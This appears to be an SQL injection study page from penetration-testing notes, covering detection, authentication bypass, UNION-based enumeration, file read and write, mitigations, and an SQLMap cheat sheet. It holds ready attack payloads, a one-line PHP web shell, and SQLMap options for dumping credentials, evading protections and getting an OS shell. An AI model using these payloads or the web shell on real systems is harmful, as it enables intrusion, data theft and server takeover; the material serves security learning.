SQL Injection

Introduction

  • SQL injection refers to attacks against relational databases, while injections against non-relational databases are called NoSQL injections.

  • A Database Management System (DBMS) helps create, define, host, and manage databases.

  • A relational database is the most common type of database. It uses a schema, a template that dictates the data structure stored in the database. The relationship between tables within a database is also known as a schema.

  • A non-relational database (also called a NoSQL database) does not use tables, rows, and columns, or primary keys, relationships, or schemas. Instead, a NoSQL database stores data using various storage models (e.g., key-value), depending on the type of data stored.

Structured Query Language (SQL)

  • SQL syntax can differ from one RDBMS to another. However, they are all required to follow the ISO standard for Structured Query Language.

SQL statements aren't case-sensitive, which means USE users; and use users; refer to the same command. However, the database name is case-sensitive.

  • On Linux, you can use the terminal to connect to databases:

#To connect to a database server (You will be asked for the password after pressing Enter)
mysql -u <User-Name> -p 

#To connect with the password directly (Not recommended as the password will be stored in the terminal history)
mysql -u <User-Name> 

#To connect to a remote database server
mysql -u <User-Name> -h <Remote-Server> -P <Port-Number> -p

#To list databases
SHOW DATABASES;

#To select a database
USE <Database-Name>;

#To list tables
SHOW TABLES;

#To get information about the data type in a table
DESCRIBE <Table-Name>;

#To insert rows into a table
INSERT INTO <Table-Name> VALUES (<Column1-Value>, <Column2-Value>, <Column3-Value>, ...);

#To insert rows into specific columns (Skipping columns with the 'NOT NULL' constraint will result in an error)
INSERT INTO <Table-Name>(<Column-Name>, <Column-Name>, ...) VALUES (<Column-Value>, <Column-Value>, ...);

#To insert multiple rows at a time


#To select everything from a table
SELECT * FROM <Table-Name>;

#To select specific columns


#To delete a table (Directly delete without a confirmation message)
DROP TABLE <Table-Name>;

#To edit a table
ALTER TABLE <Table-Name> ;

#To edit a record
UPDATE <Table-Name> SET <Column-Name>=<New-Value>, <Column-Name>=<New-Value>, ... WHERE ;

#To filter results, use WHERE or LIKE. (String and date data types should be surrounded by single quotes (') or double quotes ("), while numbers can be used directly.)
SELECT * FROM <Table-Name> WHERE <Condition>;

#Using LIKE to match a pattern. % is used to match zero or more characters. _ is used to match only one character
SELECT * FROM <Table-Name> WHERE <Column-Name> LIKE ;

  • Logical Operators are used to apply multiple conditions at once.

    • AND (&&): The result is true if all conditions are true.

    • OR (||): The result is true if any of the conditions are true.

    • NOT(!): The result is the opposite of the condition.

SQL Injection

  • SQL injection occurs when user input is included in an SQL query string without proper sanitization or filtering. SQL Injections are categorized based on how and where we retrieve their output:

  • In-band: The output of both the intended and the new query is printed directly on the front end, allowing us to read it. It has two types:

    • Union-Based: We specify the exact location (e.g., column) where the output is directed to be printed.

    • Error-Based: We can get PHP or SQL errors on the front-end, allowing us to intentionally cause an SQL error that returns the output of our query.

  • Blind: The output isn't printed. Instead, we make assumptions based on how the application or website behaves during the attack in response to our queries. This method is generally more complicated than In-band and has two types:

    • Boolean Based: SQL conditional statements are used to control whether the page returns any output at all.

    • Time Based: SQL conditional statements delay the page response based on a conditional statement using the SLEEP() function.

  • Out-of-band: When we don't have direct access to the output, so we may have to direct the output to a remote location.

Checking for SQLi

  • These characters are usually used to check for SQLi; they are added after a payload, and the output/behavior of the server is checked for any anomalies:

'
"
#
;
)

If you manage to trigger an error, then the input is vulnerable to SQLi.

OR Injection

  • OR injection is used to bypass conditions. For example, in a login page where the query might look like this:

SELECT * FROM logins WHERE username='admin' AND password = 'something';

  • If we inject an OR operation with a true condition, we might be able to bypass the authentication process:.

SELECT * FROM logins WHERE username='admin' or '1'='1' AND password = 'something';

Using Comments

  • In SQL, both # and -- are used to declare a comment. If we take the previous example's query:

SELECT * FROM logins WHERE username='admin'-- ' AND password = 'something';

  • If we comment out everything after 'admin', the query becomes:

SELECT * FROM logins WHERE username='admin'

  • This grants us access as admin.

Union Injecton

  • The UNION clause is used to combine results from multiple SELECT statements. Through UNION injection, we can SELECT and dump data from across the DBMS, from multiple tables and databases. Note that the data types of the selected columns in all positions should be the same.

  • A UNION statement can only operate on SELECT statements with an equal number of columns. For example, if we attempt to UNION two queries with a different number of columns, we will get an error.

  • If the original query has more columns than our desired query, we can use any string as junk data, and the query will return the string as its output for that column. A better approach would be to select NULL, as 'NULL' fits all data types.

Exploitation

  • Detect number of columns:

    • To identify the number of columns in the original query, we can use either ORDER BY or UNION.

    • Using ORDER BY, we increase the column number one by one until we get an error:

    • Using UNION, we add UNION SELECT 1,2,3,... until we get an error, starting from 1 and adding columns one by one until we get the error, which indicates the number of columns.

ORDER BY 1 -- 
ORDER BY 2 -- 
ORDER BY 3 -- 
...

  • Location of Injection:

    • To identify the columns where we can inject, we need to know which columns are displayed. We can use UNION to determine this. For example, if we have a query with 5 columns, we can use: UNION SELECT 1,2,3,4,5-- The numbers that are displayed as output indicate our injection spots.

Exploitation

Database Enumeration

  • Before enumerating the database, we need to identify the type of DBMS we are dealing with since each DBMS has different queries.

  • As an initial guess, If the web server in the HTTP responses is Apache or Nginx, it's likely that the web server is running on Linux, so the DBMS is likely MySQL. Similarly, if the web server is IIS, it is likely to be MSSQL.

  • To detect the type of DBMS, here are some examples for MySQL:

SELECT @@version

When we have full query output

MySQL Version 'i.e. 10.3.22-MariaDB-1ubuntu1'

In MSSQL it returns MSSQL version. Error with other DBMS.

SELECT POW(1,1)

When we only have numeric output

1

Error with other DBMS

SELECT SLEEP(5)

Blind/No Output

Delays page response for 5 seconds and returns 0.

Will not delay response with other DBMS

  • The INFORMATION_SCHEMA database contains metadata about the databases and tables present on the server.

To reference a table present in another DB, we can use the dot ‘.’ operator. For example, to SELECT a table users present in a database named my_database, we can use: SELECT * FROM my_database.users;

  • The following queries help identify the databases and tables:

#To detect all DBs on the server
SELECT SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA;

#To detect the currently selected DB:
SELECT database();

#To detect all tables in a specific DB:
SELECT table_name FROM INFORMATION_SCHEMA.tables WHERE table_schema='<DB-Name>';

#To detect all columns in a specific table:
SELECT column_name FROM INFORMATION_SCHEMA.columns WHERE table_name='<Table-Name>' AND table_schema='<DB-Name>';

Reading and Writing Files

Reading Files

  • SQL injection (SQLi) vulnerabilities can be leveraged to do more than just enumerate a database; they can sometimes allow an attacker to read and write files on the server and even gain remote code execution on the back-end server.

  • First, we need to determine which user we are within the database. This can be done using any of the following queries:

    • SELECT USER()

    • SELECT CURRENT_USER()

    • SELECT user from mysql.user

  • To check if we have super admin privileges (returns 'Y' for Yes if we do):

    • SELECT super_priv FROM mysql.user

    • SELECT super_priv FROM mysql.user WHERE user="<User>"

  • To see what other privileges we have (If we have FILE privilege, we can read files and potentially write to them as well):

    • SELECT grantee, privilege_type FROM information_schema.user_privileges WHERE grantee="<User>"

  • After verifying that we have the privilege to read files, we can use the following query to read files:

    • SELECT LOAD_FILE('');

Writing Files

  • Modern DBMSes disable file-write by default and require certain privileges for database admins to write files. To write a file, we need three things:

    • User with FILE privilege enabled

    • MySQL global secure_file_priv variable not enabled

    • Write access to the location we want to write to on the back-end server

  • The secure_file_priv variable is used to determine where to read/write files from. An empty value allows reading files from the entire file system. Otherwise, if a certain directory is set, we can only read from the folder specified by the variable. NULL means we cannot read/write from any directory. To find out the value of secure_file_priv, we can use either of these queries:

    • SHOW VARIABLES LIKE 'secure_file_priv';

    • SELECT variable_name, variable_value FROM information_schema.global_variables where variable_name="secure_file_priv"

  • After verifying that we have the privileges to write to files, we can write using this query:

    • To execute files that we write (e.g., a web shell), we must know the base web directory for the web server (i.e., the web root). This can be done by using LOAD_FILE to read the server configuration, fuzzing, or using server errors displayed to us to try to find the web directory.

    • After identifying the directory, we can write a web shell, for example: <?php system($_REQUEST[0]); ?>

Mitigating SQL Injection

  • SQL injection, like other injection attacks, can be avoided by validating and sanitizing any user input, rendering injected queries useless. A way to do this is by using regex to match the input against a pattern and then using functions like mysqli_real_escape_string() to sanitize the input.

  • Another important mitigation method is setting secure access controls.

  • The use of Web Application Firewalls (WAF) can also help detect and reject any malicious input.

  • Finally, using parameterized queries is crucial. Parameterized queries contain placeholders for the input data, which is then escaped and passed on by the drivers, preventing SQL injection.

SQLMap

  • SQLMap is a free and open-source penetration testing tool written in Python that automates the detection and exploitation of SQL injection (SQLi) vulnerabilities. It supports more DBMSes than any other SQL exploitation tool and is the only penetration testing tool that can detect and exploit all known SQLi types effectively.

  • One of the best and easiest ways to set up an SQLMap request against a specific target (such as a web request with parameters) is by utilizing the "Copy as cURL" feature within the Network panel of developer tools. However, for more complex requests, it’s better to use a request file.

  • When providing data for testing to SQLMap, there must either be a parameter value that could be assessed for SQLi vulnerability or specialized options/switches for automatic parameter finding, such as --crawl, --forms, or -g.

  • SQLMap injection relies on two main components:

    • Vector: This is the central part of the payloads, for example, UNION ALL SELECT 1,2,VERSION().

    • Boundaries: These are the prefix and suffix formations that are added to the vector to complete the payload, for example, '-- -.

  • Code Cheatsheet:

#Run SQLMap on a POST request (Can use * to specify specific parameters instead of all)


#Run SQLMap on a request file (Can also specify specific parameters by using * in the file)
sqlmap -r <Request-File>

#Some important options
--cookie='<Cookie-Value>' #Used to use a cookie.
-H='Cookie:'<Cookie-Value>' #Used to use a cookie.
--random-agent #Used to randomize user-agents.
--mobile #Used to imitate a smartphone by using similar headers of a smartphone.
--method  #Used to set the method.
--batch #Used to accpet all the default options.
--dump #Used to dump the database if a vulnerability is found.
-T <Table-Name> #Set a specific table to dump.

#Some options to handle errors
-t <Output-File> #Stores all the traffic (Both requests and responses)
--parse-errors #Parse and display the DBMS errors if there are any.
-v  #To set the verbosity level.
--proxy #Can be used to redirect the whole traffic through a proxy.

#Additonal Options that might be needed
--prefix= #Used to set a prefix.
--suffix= #Used to set a suffix.
--level= #Used to set both vectors and boundaries being used.
--risk= #Extends the used vector set based on their risk of causing problems at the target side.
--code= #Could be used to fixate the detection of TRUE responses to a specific HTTP code.
--titles #Could be used to detect valid finds based on the content of the HTML tag <title>.
-string=<String> #Could be used to fixate the detection based only on the appearance of a single value.
--text-only #Removes all the HTML tags, and bases the comparison only on the textual (i.e., visible) content.
--technique=<Technique> #Specify the SQLi technique to be used.
--union-cols=<No-of-Columns> #Specify the number of columns for Union based injections.
--union-char='<Char>' #Set an alternative value instead of the default dummy data used in Union based injections.
--union-from=<Table-Name> #Set a specific table to be used with Union based injections.

#DB Enumeration options
--banner #Database version banner
--current-user #Current user name.
--current-db #Current database name.
--is-dba #Checking if the current user has DBA (administrator) rights.
--tables -D <Database-Name> #Display tables for the speicifed database.
--dump -T <Table-Name> -D <Database-Name> #Dump the specified tables.
--dump -T <Table-Name> -C <Column-Name1>,<Column-Name2>,etc.. -D <Database-Name> #Dump the specified columns.
--dump -T <Table-Name> -D <Database-Name> --start=<Start-Row> --stop=<End-Row> #Dump the specified rows.
 #Dump the data based on the condition.
 #Dump all the databases.
--schema #Dump the schema of the database.
--search -T <Table-Name> #Searches for tables with the name provided.
--search -C <Column-Name> #Searches for columns with the name provided.
--passwords #Dump the content of system tables containing database-specific credentials.

#Bypassing Protection Controls
--csrf-token #Used to specify a csrf token.
--randomize="<Parameter-To-Randomize>" #Used to randomize the parameter used.
--eval="" #Used to change the value before sending it (e.g. Hashing the value)
--proxy-file="File-Name>#Used to go through proxies from a file.
--tor #Used to use the TOR service as a proxy.
--random-agent #Used to randomize the user-agent.
--tamper=,etc.. #Tamper scripts are used to modify requests just before being sent to the target, in most cases to bypass some protection.
--chunked #Splits the POST request's body into so-called "chunks"

#OS Exploitation Options
--file-read <File-Name> #Reads the file specified if needed privileges is granted
--file-write "<File-Name>" --file-dest "<Destination>" #Used to write a file if needed privileges is granted.
--os-shell #Used to get a shell on the target. Sometimes specific techniques might not work but others might so if there are multiple types of SQLi vulnerabilities for the same target, try the different techniques.

  • While SQLMap, by default, targets only HTTP parameters, it is also possible to test headers for SQLi vulnerabilities. The easiest way to do this is by specifying a "custom" injection marker after the header's value, for example: --cookie="id=1*"

  • While testing, SQLMap generates numerous messages that are helpful for understanding what’s happening during the process. Some of these messages and their meanings are highlighted below:

"target URL content is stable" - This means that there are no major changes between responses in case of continuous identical requests. In the event of stable responses, it is easier to spot differences caused by the potential SQLi attempts.

"GET parameter '<Parameter>' appears to be dynamic" - It is always desired for the tested parameter to be "dynamic," as it is a sign that any changes made to its value would result in a change in the response; hence the parameter may be linked to a database.

"heuristic (basic) test shows that GET parameter 'id' might be injectable (possible DBMS: 'MySQL')" - There was a MySQL error when SQLMap sends an intentionally invalid value was used.

"for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n]" - This basically means running all SQL injection payloads for that specific DBMS, while if no DBMS were detected, only top payloads would be tested.

"GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N]" - This means that the parameter was found to be vulnerable to SQL injections.
PreviousCommand InjectionNextFile Upload Attacks

Last updated